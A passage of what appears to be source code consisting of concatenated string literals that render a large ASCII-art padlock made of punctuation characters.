...................%)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=................... ", +" ..................&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;.................. ", +" ..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;.................. ", +" ..................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;.................. ", +" .................%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=................. ", +" .................@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!%................. ", +" .................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@................ ", +" .................;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,................. ", +" ................$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))''''))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*................ ", +" ................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';*$+............+%*;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+............... ", +" ................=!!!!!!!!!!!!!!!!!!!!!!!!!!!'=+......................@='!!!!!!!!!!!!!!!!!!!!!!!!!!!;................ ", +" ................!!!!!!!!!!!!!!!!!!!!!!!!!!>#............................#>!!!!!!!!!!!!!!!!!!!!!!!!!!@............... ", +" ...............=!!!!!!!!!!!!!!!!!!!!!!!!'#................................$'!!!!!!!!!!!!!!!!!!!!!!!!;................ ", +" ................)!!!!!!!!!!!!!!!!!!!!!!!-....................................-!!!!!!!!!!!!!!!!!!!!!!!!@............... ", +" ...............*!!!!!!!!!!!!!!!!!!!!!!!%......................................%!!!!!!!!!!!!!!!!!!!!!!!=............... ", +" ...............'!!!!!!!!!!!!!!!!!!!!!!%........................................%!!!!!!!!!!!!!!!!!!!!!!)............... ", +" ...............@!!!!!!!!!!!!!!!!!!!!!!%..........................................%!!!!!!!!!!!!!!!!!!!!!!$............... ", +" ...............-!!!!!!!!!!!!!!!!!!!!!=............................................-!!!!!!!!!!!!!!!!!!!!!;............... ", +" ...............'!!!!!!!!!!!!!!!!!!!!,..............................................,!!!!!!!!!!!!!!!!!!!!)............... ", +" ...............!!!!!!!!!!!!!!!!!!!!!#..............................................#!!!!!!!!!!!!!!!!!!!!!+.............. ", +" ..............%!!!!!!!!!!!!!!!!!!!!;................................................;!!!!!!!!!!!!!!!!!!!!&.............. ", +" ...............-!!!!!!!!!!!!!!!!!!!!+................................................+!!!!!!!!!!!!!!!!!!!!;............... ", +" ...............,!!!!!!!!!!!!!!!!!!!>..................................................>!!!!!!!!!!!!!!!!!!!'............... ", +" ...............)!!!!!!!!!!!!!!!!!!!$..................................................$!!!!!!!!!!!!!!!!!!!)............... ", +" ...............!!!!!!!!!!!!!!!!!!!).................. ..................)!!!!!!!!!!!!!!!!!!!............... ", +" ..............#!!!!!!!!!!!!!!!!!!!;................ ................;!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............&!!!!!!!!!!!!!!!!!!!&............... ...............&!!!!!!!!!!!!!!!!!!!&.............. ", +" ..............*!!!!!!!!!!!!!!!!!!!+............... ...............+!!!!!!!!!!!!!!!!!!!*.............. ", +" ..............*!!!!!!!!!!!!!!!!!!)............... ...............)!!!!!!!!!!!!!!!!!!*.............. ", +" ..............=!!!!!!!!!!!!!!!!!!>............... ...............,!!!!!!!!!!!!!!!!!!=.............. ", +" ..............-!!!!!!!!!!!!!!!!!!-............... ...............-!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!=.............. ..............=!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!&.............. ..............&!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!%.............. ..............%!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!#.............. ..............#!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!@.............. ..............@!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!@.............. ..............@!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!+.............. ..............+!!!!!!!!!!!!!!!!!!-.............. ", +" ..............-!!!!!!!!!!!!!!!!!!............... ...............!!!!!!!!!!!!!!!!!!-.............. ", +" ...............-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-............... ", +" ..................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-.................. ", +" ....................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-.................... ", +" ......................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-...................... ", +" .......................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-....................... ", +" ........................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-........................ ", +" ..........................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-.......................... ", +" ...........................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-........................... ", +" ...........................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-........................... ", +" ............................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-............................ ", +" .............................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-............................. ", +" .............................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-............................. ", +" ..............................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-.............................. ", +" ...............................-!!!!!!!!!!!!!!!!!!........................................................!!!!!!!!!!!!!!!!!!-............................... ", +" ....................@&*=-------'!!!!!!!!!!!!!!!!!!;------------------------------------------------------;!!!!!!!!!!!!!!!!!!'--------=*#.................... ", +" .................+-)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;@................. ", +" .................*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*................. ", +" ................-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-................ ", +" ...............&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&............... ", +" ...............)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)............... ", +" ...............&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&............... ", +" ...............>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>............... ", +" ...............)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)............... ", +" ...............!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!............... ", +" ..............+!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+.............. ", +" ..............@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#.............. ", +" ..............+!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+.............. ", +" ...............!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!............... ", +" ...............>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>............... ", +" ...............&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&............... ", +" ................)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)................ ", +" ...............&!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*............... ", +" ................>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'................ ", +" .................,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)+................ ", +" .................,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)#................ ", 